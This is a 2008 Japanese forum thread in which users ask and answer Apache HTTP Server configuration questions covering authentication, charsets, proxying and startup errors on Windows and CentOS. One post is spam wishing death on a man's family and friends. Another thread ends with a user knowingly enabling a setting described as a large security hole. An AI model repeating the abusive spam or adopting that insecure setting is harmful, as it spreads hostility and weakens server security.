bin/psql: error while loading shared libraries: libssl.so.0.9.7: cannot open shared object file: No such file or directory
opensslを新しくした影響が出ていたようです。
postgresqlも入れ直すことにします。
645643:2008/03/17(月) 07:58:50 ID:???
>>644
解決しました。
openssl 0.9.8 関係のファイルを 0.9.7 としてシンボリックリンクを作成することで
問題なくインストールおよび起動することができました。
どうもお騒がせいたしました。
646DNS未登録さん:2008/03/26(水) 17:49:21 ID:???
mod_headers を使って Location ヘッダを書き換えるため、以下を考えました。

Header edit Location www\.example\.com www2.example.com

ですが、「edit」は apache2.2.x で実装されていて
導入したかったサーバーの apache は 2.0.x で使えませんでした。

2.0.x で同じことをする方法はあるのでしょうか?
また、2.2.x にバージョンアップするリスクはどのぐらいあるのでしょうか?
647DNS未登録さん:2008/03/26(水) 21:31:12 ID:???
>>646
バージョンアップは使ってるモジュール次第。
648646:2008/03/27(木) 02:30:49 ID:???
ありがとうございます。
具体的にマズそうなモジュールはなにがありますか?
649DNS未登録さん:2008/03/27(木) 10:09:10 ID:???
付属のモジュールだけを使ってるなら問題なし。
650646:2008/03/27(木) 11:47:51 ID:???
ありがとうございます。
651DNS未登録さん:2008/03/27(木) 15:00:34 ID:???
httpd.confの公開するフォルダを指定する行をデフォの
C:/Program Files/Apache Software Foundation/Apache2.2/htdocsから
帰ると外からアクセスしようとすると、許可されてねえぞゴラーと言われてしまいます
どこで許可すればいいんでしょううか?
652DNS未登録さん:2008/03/27(木) 16:13:49 ID:???
<Directory
653DNS未登録さん:2008/03/27(木) 17:21:36 ID:???
>>652
少し下にある奴ですよね ありがとうございました。
説明しているサイトが間違っていたみたいでした。
654DNS未登録さん:2008/03/27(木) 17:33:25 ID:VECh2DC/
説明してるサイトに頼るのもいいけど自分でマニュアルを読んで考えて欲しい
655DNS未登録さん:2008/03/28(金) 19:17:16 ID:???
結局どうなんだ?

XPproでapacheの場合、
同時接続数は10なのか?
656DNS未登録さん:2008/03/28(金) 20:22:22 ID:???
>>655
調べればサックっと分かるようなことを上から目線で尋くなよ。
657DNS未登録さん:2008/03/28(金) 20:32:11 ID:l6AZR87a
>>655
日本のマイクロソフトはそう主張してるけど明らかにおかしいから従う必要なし。
EULA読めば分かる。
658DNS未登録さん:2008/03/28(金) 21:49:19 ID:???
で、実際は分からないのよ、ぐぐっても。
ライセンスの問題は分かった。
実際、11以上のコネクションが、
どうなのか知りたいのです。
659DNS未登録さん:2008/03/28(金) 22:03:31 ID:l6AZR87a
11以上に出来るし何の問題もない
660DNS未登録さん:2008/03/29(土) 07:50:53 ID:???
apache2なんですが
/hoge/*.html -> /hoge/all.cgi
みたいに呼び出されたファイル名で特定の処理を行うCGIを1つ作りたいのですが
cgi内部でパスを解読してなんて名前で呼び出されたか判断して結果を返すみたいにしたいのですが
どういう設定をしたらいいんですか?
661DNS未登録さん:2008/03/29(土) 13:51:52 ID:???
リファラ
662DNS未登録さん:2008/03/29(土) 16:47:45 ID:CczdNQn+

2.0系から2.2.8へ乗り換えようと思い、インストールしてみたところ
httpd.confに今まで基本と思っていた「Timeout」や、「KeepAlive」などがなくてビックり。
新バージョンでは、こういうのはいらんのかいな・・・
663DNS未登録さん:2008/03/29(土) 16:52:31 ID:CczdNQn+
>>655
単純にリミッターを切ればいいポ
664DNS未登録さん:2008/03/29(土) 16:55:11 ID:???
>>663
どうやって切るのですか?
教えてください
665662,663:2008/03/29(土) 16:57:17 ID:???
>>664
ProSP2ですど、同じ条件ですか??
666DNS未登録さん:2008/03/29(土) 17:01:09 ID:xi+xVXDQ
DQN男の家族死ね DQN男の親死ね DQN男の友達死ね DQN男の親戚死ね
DQN男の家族死ね DQN男の親死ね DQN男の友達死ね DQN男の親戚死ね
DQN男の家族死ね DQN男の親死ね DQN男の友達死ね DQN男の親戚死ね
DQN男の家族死ね DQN男の親死ね DQN男の友達死ね DQN男の親戚死ね
667662,663:2008/03/29(土) 17:23:54 ID:???
>>666
いろんなサイトで普通に公開されているポ。


>>664
追記:
サーバーとして使いたいと思い、電気屋と相談して買った二台目のWin機20万円。
えらく遅いしネットで調べ始めたら、そこからWin機は使い物にならんことが判明。

電気屋さんも詳しくなかったかもしれないけど、そもそも一番重要な事が
micro社の値札のスペック欄に表記していないのに腹がたち、ネットで調べ始めた。

やや新しめのWin機を使用していますけれど、サクサク早く動くポ。
668DNS未登録さん:2008/03/29(土) 20:29:11 ID:???
>>667
だから、教えてください
669662,663:2008/03/29(土) 21:25:01 ID:???
>>668
同時接続とか普通にググって数時間探せば答えがでる。

BIOTと、EvID4226でググれば、2,3分ですぐ答えがでるポ
670662,663:2008/03/29(土) 21:28:49 ID:???
>>668

追記:
接続数はこれでオープンできるが
Win機の場合は、サクサク動かすのにconf設定がクセがある。
ちなみに、リバースプロキシ組んで2台で稼動させているがどちらもサクサク。
671DNS未登録さん:2008/03/29(土) 22:01:22 ID:???
>>670
そのノウハウを教えてくれよ
672662,663:2008/03/29(土) 23:03:44 ID:???
>671
あとはガンバレ。
聞き方が気に入らない。では。
673DNS未登録さん:2008/03/29(土) 23:19:59 ID:???
>>672
そんなこと言わずに教えてください
674DNS未登録さん:2008/04/01(火) 02:00:49 ID:ELFNkmT2
アワワワワワワワワ
アパッチの気勢だよ
675DNS未登録さん:2008/04/02(水) 08:59:51 ID:DSKyyK3K
apache で「一定時間内に或る閾値を越えた接続を試みたアクセス元IPに503(403/404でもいい)を返す」
と設定する方法ありますか ? 「閾値」は接続回数でも、転送量でも。
しつこいクローリングして来るんだが、CATVらしくてしょっちゅうIPアドレス変わってるので、その手では弾けない。
676DNS未登録さん:2008/04/02(水) 16:47:02 ID:???
この手の物使うとか
ttp://ivn.cl/
677676:2008/04/02(水) 16:49:08 ID:???
678675:2008/04/02(水) 18:03:17 ID:???
そうか、帯域/band width でググるべきだったのか。ありがとう。勉強になりました。
679DNS未登録さん:2008/04/04(金) 01:33:43 ID:???
試しに使ってみようと思ったのですが、【Apache2】>【Start】と試しても
「The resquested operation has failed!」 というエラーが出て動きません。
どこか間違えているのでしょうか・・・。バージョンは2.2です。
680DNS未登録さん:2008/04/04(金) 02:55:17 ID:???
>>679
Windows の模様だが、一応環境くらい書け。

Windows でサービス起動に失敗した場合、
イベントビューワにエラーの詳細が書かれるから、
そっち参照するよろし。
681646:2008/04/04(金) 12:08:47 ID:???
結局、2.2.8 の mod_headers を 2.0.x 用に修正して、
2.0.x でも edit を使えるようにして対応しました。
#欲しい方がいればパッチを作ります。
682DNS未登録さん:2008/04/04(金) 14:29:24 ID:???



バーチャルホスト割り当てるように、

ドメインの特定の下位ディレクトリだけ
別IPのマシンに割り当てるということはどうやればできるでしょうか?
683DNS未登録さん:2008/04/04(金) 21:53:56 ID:???
mod_rewrite で

RewriteEngine On
RewriteRule /top/sub/subsub/(.*)$ http://other.example.com/what/ever/you/like/$1 [R,P]

とかしたらどうだろう。
684DNS未登録さん:2008/04/07(月) 13:27:19 ID:ceVPA/sD
httpサーバにして、WinSockでTCPで受信やったら、HTTPレスポンスヘッダがなくて、
いきなり <!--Document とかってデータになってんだけど、
HTTPレスポンスヘッダは、どやって返信させるの?
685DNS未登録さん:2008/04/07(月) 15:07:22 ID:???
<!doctype のことか?
その前にレスポンス行ってるはずだが。
telnetでやってみては
686DNS未登録さん:2008/04/07(月) 15:29:39 ID:???
リクエストがおかしいとHTTP/0.9であると仮定されるとかじゃなくて?
687DNS未登録さん:2008/04/07(月) 17:13:32 ID:ceVPA/sD
>>685
telnetやってみたけど、でねー。
デフォのindex,htmを取得すると、いきなり<HTML>から始まる
688DNS未登録さん:2008/04/07(月) 17:20:03 ID:???
同じ事だけど、w3m が入ってたら w3m -dump_head http://www.example.com/ でやってみたら?
689DNS未登録さん:2008/04/07(月) 18:06:04 ID:???
>>687

えーと、、、
>>686 の言う意味はわかった?
telnet で 80 で開いて、
GET / HTTP/1.0\n\n

GET /
だけで試してみた?
690DNS未登録さん:2008/04/07(月) 19:52:41 ID:ceVPA/sD
>>689
PORTは、2048にしてやってたけど、80にしてやってみたが、
GET /
で、いきなり先頭が<HTML>
691DNS未登録さん:2008/04/07(月) 19:54:39 ID:ceVPA/sD
GET / HTTP/1.0\n\n
こっちでやったら、ヘッダーが出た。
なんでWinSockだと出ないの?
692DNS未登録さん:2008/04/07(月) 20:12:33 ID:ceVPA/sD
良く分からんが、WinSockからのリクエストヘダに、HTTP/1.1 を追加したらおkだった。
httpdなら無くても大丈夫だったのに。困るなアパッチ
693DNS未登録さん:2008/04/07(月) 20:25:40 ID:uRw9eM1x
HTTPを勉強してから出直して来いバカ
694DNS未登録さん:2008/04/09(水) 00:48:56 ID:???
[Wed Apr 09 00:46:16 2008] [error] [client 127.0.0.1] client denied by server configuration: /var/www/html/

エラーログに↑のようなものが山のように出るんだけど何が原因なんでしょう?

OS CentOS 5.1
HTTPd Apache2.2.3
695DNS未登録さん:2008/04/09(水) 07:45:43 ID:???
Allow from *****
Deny from *****
696DNS未登録さん:2008/04/10(木) 06:53:52 ID:hRntyYKO
win2000pro SP4 にてApache/2.0.59を稼動させています。
長いこと問題はなかったのですが、最近気付いたらぶつぶつと鯖落ちしています。
画面にはwindows独特の、異常が発生したためApacheを終了しました。の
ログだけが載っています。マシン本体には高負荷?などの悪影響は残っていません。

Apacheを自動的に再開する設定か。ソフトの存在を教えて頂けないでしょうか。
(Apacheがフリーズしても自動的に復帰するような常駐型即席ウォッチャー。
 単純に終了したら再開するだけのものでもかまいません)

Apacheマニュアルの「停止と再起動」も見ましたが状況が
それらしいことを書いていなかったのでお聞きします。

なお、強制終了時のエラーログ部分に変わった部分は見当たりませんでした。原因不明です。
サーバー環境: Athlon64 X2 4400+ / メモリ 2GB / PHP 5.1.6 のみ導入済 / 回線=光
697DNS未登録さん:2008/04/10(木) 07:40:54 ID:oADXSAc0
Windowsのサービスって異常終了したら自動的に再起動する機能があったはず
698696:2008/04/10(木) 15:38:19 ID:hRntyYKO
>>697
タイムアウト時に自動的に終了する方法しか見つかりませんでした。
良ければ詳しく教えて頂けませんか。
699DNS未登録さん:2008/04/10(木) 15:57:06 ID:???
>>698
回復って項目無いか?
700696:2008/04/12(土) 08:22:50 ID:7gJ2J7dO
>>699
システムのプロパティ(起動/回復)の「自動的に再起動する」のことじゃないですよね?
もしこれのことでしたら、異常終了が
wimdowsではなくApacheなので意味がありません。
701696:2008/04/12(土) 08:33:11 ID:7gJ2J7dO
>>697 >>699
ごめんなさい。「サービス」の意味がわかっていませんでした。
コンパネ>>管理ツール>>サービス>>Apache2ですね!お騒がせしました。
回復の項目がありました。試してみます。ありがとうございます m(_ _)m

落ちたときにApache2を再起動できなくなる症状が稀に生じますので
また書かせて頂くかもしれません。よろしくお願いします。>>all
702DNS未登録さん:2008/04/16(水) 12:51:52 ID:wqmYsjLz
.htaccessの中の記述でincludeするような記述って出来ますか?
ディレクトリの構造が
/
/a
/b

/z
となっていて、
あるリモートIPに/は見せても良いが、
/a〜/zは見せたくないんです。
全てのディレクトリに.htaccessを
置き、それをメンテするのが面倒なのです。
703 ◆jy2j5V31aw :2008/04/16(水) 13:22:43 ID:???
>>702
.htaccessをぜんぶハードリンクしておけば一つ書き換えるだけでおkでそ。
書き換えるエディタによってはリンク切れるから、そんときはシンボリックリンクで。
(シンボリックリンクって見てくれるんだっけか? .htaccess)
704DNS未登録さん:2008/04/16(水) 13:25:10 ID:???
>>703
すみません。
OSがWinXPなんです。。。
705DNS未登録さん:2008/04/16(水) 13:46:31 ID:???
fsutil hardlink なるものがあるんですね。
ちゃんと動くのかなぁ、心配ですが、
試してみます。
706DNS未登録さん:2008/04/16(水) 21:09:07 ID:YpFd8PW6
httpd.confでDirectory(Match)で設定すればいいじゃないか
なんでわざわざ.htaccess使うんだ?
707DNS未登録さん:2008/04/20(日) 12:35:25 ID:SeXQl0ES
Win2003+apache2.2.8+PHP+Mysql環境です。
サービス起動しただけでタスクマネージャのhttpd.exeのメモリ使用量が
毎秒50Kづつ増えていくんだけど、そういうものなんですか?

とりあえず普通に動いてるみたいなんだけど、
気づいたらメモリ使用量がえらいことになってる。。。
708DNS未登録さん:2008/04/20(日) 13:18:43 ID:???
>>707?メモリリークしているんではないのか。
709707:2008/04/20(日) 13:51:17 ID:???
logファイルの保存先のパス間違えてただけだったわ。
バーカバーカ!俺のバーカ!

。。。ごめんなさい
710DNS未登録さん:2008/04/20(日) 16:37:19 ID:???
windows版のmod_evasiveが欲しいのですが、
バイナリはどこにあるのでしょうか?
711DNS未登録さん:2008/04/20(日) 21:41:17 ID:+E6v5Ku4
FedoraCore6
Apache/2.2.6
最近以下のようなエラーログが30秒おきくらいに発生しています。
アクセスしてくるIPが全部ユニークなんですが、これは攻撃されているんでしょうか?
[error] [client 219.209.194.49] Invalid URI in request \xf0;,\xe8\x87\xaf\xd7H\xe7\xc2\x105\xc0\x11\xdc\t\x8e\xe4\xbb#{\xd1\xbc\xec\x91s4\x94\xc6@\xe6\xc2\xd5i=?]\x8b\x80a\xe7\x07\x8f\xe1
712DNS未登録さん:2008/04/20(日) 21:48:58 ID:???
>>711
YahooBBなど最初からブロックしておくべきだ。
713DNS未登録さん:2008/04/23(水) 19:38:53 ID:???
<Directory />
内に書かれたデフォルト設定は、すべてのバーチャルホストでも有効ですか?
714DNS未登録さん:2008/04/24(木) 22:52:17 ID:???
webサーバは動かさずにproxyだけっていう設定は可能ですか?
715DNS未登録さん:2008/04/24(木) 23:00:23 ID:???
>>714
http proxyである限りhttp serverの機能は止められん。
716DNS未登録さん:2008/04/24(木) 23:43:17 ID:???
>>715
403すら返さないというのは無理ということですね
717DNS未登録さん:2008/04/27(日) 23:38:34 ID:???
各HTMLに
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<META http-equiv="Content-Style-Type" content="text/css">
があるにもかかわらず、UTF-8が選択されてしまい文字化けします。

googleで調べていろいろといじったのですが文字化けがまったくなおりません。
/etc/httpd/conf/httpd.conf を以下のようにいじりました。

AddDefaultCharset off
DefaultLanguage ja
AddLanguage ja .ja
LanguagePriority ja

この四項目です。
AddLanguage ja .ja は違う言語が複数あったので日本語だけにしました。
718DNS未登録さん:2008/04/27(日) 23:39:11 ID:???
各HTMLに
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
<META http-equiv="Content-Style-Type" content="text/css">
があるにもかかわらず、UTF-8が選択されてしまい文字化けします。

googleで調べていろいろといじったのですが文字化けがまったくなおりません。
/etc/httpd/conf/httpd.conf を以下のようにいじりました。

AddDefaultCharset off
DefaultLanguage ja
AddLanguage ja .ja
LanguagePriority ja

この四項目です。
AddLanguage ja .ja は違う言語が複数あったので日本語だけにしました。

何方か原因わかる方がいましたら教えてください。



#もしかしたら途中で書き込んだかもしれません。
719DNS未登録さん:2008/04/27(日) 23:43:23 ID:X19OODQz
DefaultLanguage ja
AddLanguage ja .ja
LanguagePriority ja

これらは全く関係ない
Googleで調べないでマニュアル読め

んで、telnetとか何か使ってヘッダを読んで
Content-Typeにcharset=UTF-8が付いてないか調べろ

あと、XHTMLで、XML宣言にencodingをつけてないとか言うオチはないよな?
720DNS未登録さん:2008/04/28(月) 03:19:42 ID:???
>>718
AddDefaultCharset Shift_JIS
721DNS未登録さん:2008/04/28(月) 04:17:54 ID:???
正解
722DNS未登録さん:2008/04/28(月) 09:43:42 ID:???
>>720
それでも直らず

http://www.twin.ne.jp/~akr_m/free/headers
でヘッダを表示させてみたらこんな感じです
HTTP/1.1 200 OK
Date: Mon, 28 Apr 2008 00:40:53 GMT
Server: Apache
Last-Modified: Sun, 09 Mar 2008 02:27:39 GMT
ETag: "566b7f-11b4-d4c4bcc0"
Accept-Ranges: bytes
Content-Length: 4532
Connection: close
Content-Type: text/html
Content-Language: ja
X-Pad: avoid browser bug


>Content-Typeにcharset=UTF-8が付いてないか調べろ
ついてなかったです。
723DNS未登録さん:2008/04/28(月) 10:04:40 ID:???
AddDefaultCharset off
#DefaultLanguage ja
#AddLanguage ja .ja
#LanguagePriority ja

に変えたら直りました。
ありがとうございました。
724DNS未登録さん:2008/04/28(月) 10:49:46 ID:???
AddDefaultCharset UTF-8

#AddDefaultCharset UTF-8 ← コメントアウト

した?
725DNS未登録さん:2008/05/05(月) 17:04:05 ID:???
apache2.28でbasic認証をしたいと思うのですがhttpd.confの設定変えるとエラーとなり
apacheの起動ができません。
httpd.confで変更した内容は、httpd.conf内にあるAllowOverrideをすべてallに変更して
.htaccessを読み込ませるように変更。
.htaccessの内容は
AuthType Basic
AuthName "Webmaster専用"
AuthUserFile C:/Program Files/xx ←.htpassのある場所
require valid-user

.htpass作成
と追加していますが、basic認証が立ち上がりません。
もう一つの方法として、
最終行に
<Directory "C:/Program Files/xxxxxxxxx">←認証を開始したい場所
Options Indexes
AllowOverride None
Order allow,deny
Allow from all
AuthType Basic
AuthName Intra
AuthUserFile C:/Program Files/xxxxx ←.hpasswdのファイルのある場所
Require valid-user
</Directory>
と入力して保存。apacheを起動するとfailとなり起動しません。
どうすればbasic認証ができるようになりますか?
726DNS未登録さん:2008/05/05(月) 17:06:42 ID:???
よく読んでいないが、とりあえずエラーログを出してみてはどうだい?
727DNS未登録さん:2008/05/05(月) 17:16:54 ID:???
>>726
apacheが起動できないのでerror.logも生成されないのです。
728DNS未登録さん:2008/05/05(月) 17:28:34 ID:???
.htaccess使用してbasic認証立ち上がらずinternalserverrorがでました。
errorログ
XX AuthUserFile takes 1-2 arguments, text file containing user IDs and passwords, referer: XX
729725:2008/05/05(月) 17:40:52 ID:???
すいません。今できました。これ5日も悩んだのですよ。
同じ人も複数いらっしゃると思いますので原因書いておきます。
どのWebでもbasic認証の解説では、AuthUserFileのパスに""で囲っていません。
""で囲ってみるとBasic認証が表示されました。
これは発見するのは難しいとおもいました。
すべてのWEB解説が""無しですからね。やられましたorz
730DNS未登録さん:2008/05/05(月) 19:51:27 ID:???
ヒント:Program Files
         ~
731DNS未登録さん:2008/05/05(月) 20:13:10 ID:???
>>729
パスに半角スペース含む場合は""でくくる。
"C:/Program Files/〜"

これはWindowsのショートカットやコマンドプロンプトでも同じ。
 
732DNS未登録さん:2008/05/05(月) 20:24:12 ID:???
>>730-731
解説乙
733DNS未登録さん:2008/05/06(火) 10:04:07 ID:???
パスの指定の仕方は・・・
初心者解説にはどこも書いてあるけどなぁ

まぁ発見が難しいというより一度体験すればわかると
WinでもMS-DOSとかバッチファイルとか少しいじればいやでも出てくるし〜
734DNS未登録さん:2008/05/06(火) 10:25:20 ID:???
パスの指定の仕方より、まずは読み手に正確な情報を伝えること
つまりバージョン番号の読み方と書き方を覚えるべきだと思うな。
735DNS未登録さん:2008/05/07(水) 01:07:07 ID:???
はじめまして。
■目的■
最新versionである、apache2.2とmysql5.05を使用しmysqlを使用した認証を行いたい。
■前提設定■
mysqlは通常とおりテーブルなどを作成済み。phpの動作も確認済み。
■apache側設定■
mod_authn_mysql-2.2.3-w32.zipを解凍し、mod_authn_mysql.soをmodulesに入れる。
httpd.confには、LoadModule mysql_authn_module modules/mod_authn_mysql.soを追加。
.htaccessを認証したい場所におき適切に設定。
apacheを再起動。
■不具合■
The requested operatgion has failed!のエラーが出る。
LoadModule mysql_authn_module modules/mod_authn_mysql.soを消すと
通常とおりapacheが起動する。
■疑問■
どうしてmod_authn_mysql.soを実行するとapacheが起動すらしなくなるのでしょうか?

736DNS未登録さん:2008/05/07(水) 01:19:58 ID:6rCEm5Ed
Windowsのシステムログ?みたいなのに、原因が書いてあるはずだから読んでみろ。
あるいは、httpd.exeがあるディレクトリでコマンドラインでhttpd.exeを実行してみても良い。
737DNS未登録さん:2008/05/07(水) 03:06:27 ID:???
わからない‥
The Apache service named reported the following error.
>>>(OS 10048)通常、各ソケットアドレスに対してプロトコル、ネットワークアドレス、または
ポートのどれか1つのみを使用できます。 :make_sock:could not bind to address
0.0.0.0:80
とイベントビューアに書いてありました。
738DNS未登録さん:2008/05/07(水) 07:54:28 ID:???
>>737
> could not bind to address

書いてあるじゃないか。
739DNS未登録さん:2008/05/07(水) 08:04:26 ID:CRpRohOs
>>737
すでにポート80で何かプログラムが動いてる。
Apacheを2重に起動しようとしてるとか???

しかし「通常、各ソケットアドレスに対してプロトコル、ネットワークアドレス、または
ポートのどれか1つのみを使用できます。」これってどんな日本語だよなw
740DNS未登録さん:2008/05/07(水) 10:51:54 ID:???
言いたいことはわかるが、わかるやつにしかわからん文章だなw
741737:2008/05/08(木) 02:36:13 ID:???
apache起動できました。
でも今度は.htaccessでスペルミスエラーがでていて
basic認証ダイアログがでてきません。
mod_authn_mysqlの中にあるtext参考にすると、エラーでまくりです。
設定した.htaccessの中身-------------
AuthName "DB認証"
AuthType Basic
require valid-user
AuthnMySQLHost localhost
AuthnMySQLUser xx
AuthnMySQLPassword xx
AuthnMySQLDB xx
AuthnMySQLTable xx
AuthnMySQLUsernameField xx
AuthnMySQLPasswordField xx
AuthnMySQLIsActiveField act
------------------------
エラー内容:Invalid command 'AuthnMySQLHost', perhaps misspelled or defined by
a module not included in the server configuration,
742DNS未登録さん:2008/05/08(木) 07:54:21 ID:???
>>741
モジュールが読まれてない
743DNS未登録さん:2008/05/08(木) 10:45:36 ID:???
それ設定ファイルのコピペ?
Authn → Auth nが多いけどタイプミス?
744DNS未登録さん:2008/05/08(木) 10:51:33 ID:???
mod_authn_mysql も謎だ。
mod_auth_mysql じゃないの?
Authentication の略はauthnだと思ってるのか、どっかにちゃんと存在するのか。
745DNS未登録さん:2008/05/08(木) 19:03:25 ID:???
>>742-744
最新モジュールmod_authn_mysql-2.2.3-w32.zipを解凍して使ってます。
2.2ですが、アパッチ2.28にて使用しています。
試しにauthにするとapacheが起動しません。
apache2.2以降は、ほとんどauthがauthnと変更されています。
WEBにもauthnと書かれていないので検索できなくて調べることもできない
ことがネックの一つとなってます。
746DNS未登録さん:2008/05/10(土) 09:18:27 ID:???
.htaccessで
ここから下の.で始まるディレクトリにはアクセスさせない
ようにするにはどうすればいいのでしょうか?

ファイルの場合は<Files>でできるんですが<Directory>は
使えないようです。
747DNS未登録さん:2008/05/10(土) 09:39:11 ID:1tOiBccZ
.htaccessじゃなくてhttpd.confにDirectoryMatchで書く
なんでみんな自宅サーバーなのにわざわざ.htaccess使うんだ?
748DNS未登録さん:2008/05/10(土) 09:45:19 ID:???
>>746
Directoryはそもそも.htaccessには書けない。
どうしても.htaccessでやりたければ、.で始まる全てのディレクトリに
.htaccessを置くしかない。
749DNS未登録さん:2008/05/10(土) 11:29:29 ID:???
>> 747, 748
ありがとう。
confに書くとします。
750DNS未登録さん:2008/05/11(日) 01:55:57 ID:???
設置とかの質問じゃないんだけど、あるサイトを閲覧してたらいきなり
Apache 2 Test Page
powered by CentOS
This page is used to test the proper operation of the Apache HTTP server after
it has been installed. If you can read this page it means that the Apache HTTP
server installed at this site is working properly.
という英文が表示された英語ページしか出てこなくなって、
それ以後そのサイトにアクセスしても、
ずっとその英語だらけのページしか表示されなくなったんだけど、これって何ですか?
Apacheで検索したらこのスレが出てきたんで質問してみたけど、
スレ違いなら誘導してくれると嬉しい。
751DNS未登録さん:2008/05/11(日) 10:19:51 ID:???
Apache2.2.0でCGI(EXE)動かしたら
FindWindow(WIN32API)が使えないような。

ANHTTPDならCGIから他のアプリに
メッセージ送信できるんだけど。

これって仕様?
752DNS未登録さん:2008/05/11(日) 10:21:27 ID:3VD3PN5G
「使えない」って、FindWindow使うと具体的にどうなるの?
753DNS未登録さん:2008/05/11(日) 11:33:09 ID:???
例えばPOST内容を別の窓アプリへ送信するとして、
ハンドルをゲットして受け渡すわけですが
そもそもFindWindowでハンドルが得られず0 (NULL) が返るようです。

環境はWindows2000、Delphi7

h:=FindWindow(nil, '電卓'); (電卓を起動して実行)

のようなシンプルコードでもハンドルが得られない。
EnumWindowsも使えないのでこの系統は全て使えないのかな?

ANHTTPDでは問題なく
ApacheでもFindWindowのコード部以外問題なく動いてます。
754DNS未登録さん:2008/05/11(日) 14:53:02 ID:???
>>750
CentOSにApacheをインストールするとデフォルトで設定されてるページ。
接続先のサーバでOSを再インストールしていたとかではなかろうか。

間にロードバランサが存在していたりする場合は、本来振られるべきではない
サーバに割り振られたとかいうこともある。

>>751
Windowsの場合デスクトップごとに固有の識別子があるので、
FindWindowではどうやっても見つけられないはず。

Apacheのサービス設定で「デスクトップとの対話を許可」を設定すれば
サービス起動時にコンソールのデスクトップ上で動作するようになるので、
いちおうこれで解決はできるはずだ。

もちろんセキュリティ的には恐ろしく巨大なセキュリティホールを
設置することになるがな。
755DNS未登録さん:2008/05/11(日) 16:12:40 ID:???
>>754
ありがとうございます。

やっぱりセキュリティの問題で止めているんですね。
会社の鯖やないし、リスク覚悟で使ってみようかな。
756DNS未登録さん:2008/05/11(日) 16:18:36 ID:ccjZ+uXh
いや、止めてるんじゃなくて
デスクトップに関連付いたプログラムと
サービスは世界が違うんだから
FindWindowで通信できないのはごくごく当然なんだよ。

An Httpd だってサービスとして動かせば同じようにFindWindowは使えないはず。
逆にApacheをコマンドラインから起動すりゃ使える。
757DNS未登録さん:2008/05/11(日) 17:16:16 ID:???
>>755
んじゃコントロールパネルから設定すれ。
758DNS未登録さん:2008/05/13(火) 00:22:39 ID:???
>>756
>>757

なるほど。

動きました。
759DNS未登録さん:2008/05/13(火) 19:10:03 ID:???
AddLanguageの必要性ってありますか?
ttp://httpd.apache.org/docs/2.0/ja/mod/mod_mime.html
ここ読んだのですがファイル名から言語をマッピングするとあるんですが意味がわかりません。
760DNS未登録さん:2008/05/13(火) 19:12:31 ID:ZKLbzugS
mod_negotiation使わない限りいらん
761DNS未登録さん:2008/05/13(火) 19:13:32 ID:???
インストール直後のドキュメントルートに例があるべ。
って今のIt worksって一つしかないのかな?
ブラウザの言語設定にあわせたページを返すんだよ。
762DNS未登録さん:2008/05/14(水) 09:51:03 ID:???
Apache1.3で外部からのアクセスとLAN内からのアクセスで
表示するフォルダを変えたいときはどうすれば良いのでしょうか?
763DNS未登録さん:2008/05/14(水) 19:59:54 ID:???
>>762
mod_rewriteのRewriteCondを使う。
764DNS未登録さん:2008/05/21(水) 08:53:18 ID:OO+xNbtH
Request_URIに特定の変数が含まれるものを別のログファイルに保存する方法について質問ですが、
http://127.0.0.1/?cmd=hoge
の"cmd"が含まれるログを別ファイルに保存できません。
http://127.0.0.1/cmd=hogeでわざとテストした場合はできました
Request_URIに"?"が含まれる場合はできないのでしょうか?

Apache 2.0.63/Win32です。
765DNS未登録さん:2008/05/21(水) 09:34:09 ID:???
SV1(グローバルIP_プライベートIP)
SV2,SV3(プライベートIP)
http://aaa.com/sv2でsv2のコンテンツがhttp://aaa.com/sv3でsv3のコンテンツが
見れるようにしたいんだけど、sv1のapacheの設定で可能ですか?
766 ◆jy2j5V31aw :2008/05/21(水) 12:18:26 ID:???
>>765
つ mod_proxy
767DNS未登録さん:2008/05/21(水) 16:51:21 ID:???
サンクス
768DNS未登録さん:2008/05/21(水) 22:58:39 ID:yesRCEgL
CentOS4.3でyumでApache2.0.52をインストールしました。
mod_rewriteが使えないので質問します。

httpd.confにLoadModule rewrite_module modules/mod_rewrite.so
の記述はあります。
ただ、ls -l /usr/lib/httpd/modulesで調べると、mod_rewrite.soという
モジュールがありません。(つまりインストールされてない?)

こういう場合、どうしたらmod_rewriteが使えるのでしょうか?
yum install mod_rewriteとかしてみたのですが、駄目でした。

ちなみに、mod_rewriteを記述した.htaccessは、特に問題ありません。
ローカル環境(WinXP+Apache2.0.46)では動きます。
769DNS未登録さん:2008/05/22(木) 03:32:13 ID:Lx4eKTs9
>yum install mod_rewrite

うう。。。



CentOSを5に上げて入れ直しなさい。すべては解決します。
770768:2008/05/22(木) 12:49:17 ID:???
>>769
そうですか・・。というかうちの鯖機はDELLのSC420なのですが、
CentOS5がインストール出来ずに、4.3にした経緯があります。。

とりあえず、よく状況を判断して決断したいと思います。
771DNS未登録さん:2008/05/22(木) 13:49:13 ID:???
ソースからコンパイルして入れれば好きなバージョンを好きなオプションでいれられる
772DNS未登録さん:2008/05/23(金) 15:37:49 ID:???
質問です
Apache 2 Test Page と表示されたページがあったんだけど
アクセス制限って事ですか?
773DNS未登録さん:2008/05/23(金) 15:45:46 ID:???
自分でconf書いたりサイトを設置するまでの仮のページ
774DNS未登録さん:2008/05/23(金) 17:11:32 ID:???
>>773
ありがとう!
775DNS未登録さん:2008/05/29(木) 17:24:42 ID:raQpcWlQ
apacheをインストールしたのですがstartを押すとThe requested operation has failedと出てきて起動できません。
解決方法をよろしくお願いします。
776DNS未登録さん:2008/05/29(木) 17:31:21 ID:???
エラーログ見てみ
httpd.confにミスがあるんだろう
777DNS未登録さん:2008/05/29(木) 18:33:40 ID:???
フィーバー
778DNS未登録さん:2008/05/29(木) 20:22:13 ID:dr8FIsSF
最初のエラーってエラーログに載ってないこともあるよ
Windowsの場合イベントビューアのログを見なきゃだめ
779DNS未登録さん:2008/05/29(木) 23:01:23 ID:???
エラーログに無いのも原因究明のヒントだから
780DNS未登録さん:2008/05/31(土) 13:00:44 ID:???
Windows版Apache HTTP Server2.0を使用しています。
CGIやSSLを使用出来るようにしたいのですが如何すれば良いでしょうか?
ご指導お願いします。
781DNS未登録さん:2008/05/31(土) 13:13:57 ID:???
782DNS未登録さん:2008/05/31(土) 13:27:28 ID:G1jzChw6
2chはちょっとした質問を聞くのはいいけど指導する場所ではないだろ
783DNS未登録さん:2008/06/05(木) 08:51:21 ID:WgKCiRnJ
httpdのアクセスログにこんなのが
認証ページじゃないのに "yamada" と入っている?
ユーザーエージェントは書き換え可能だけど、この部分も細工できるの?

xxx.159.246.132 - yamada [04/Jun/2008:19:30:18 +0900] "GET / HTTP/1.0" 200 1095 "http://hogehoge/" "-"
784 ◆jy2j5V31aw :2008/06/05(木) 13:03:56 ID:???
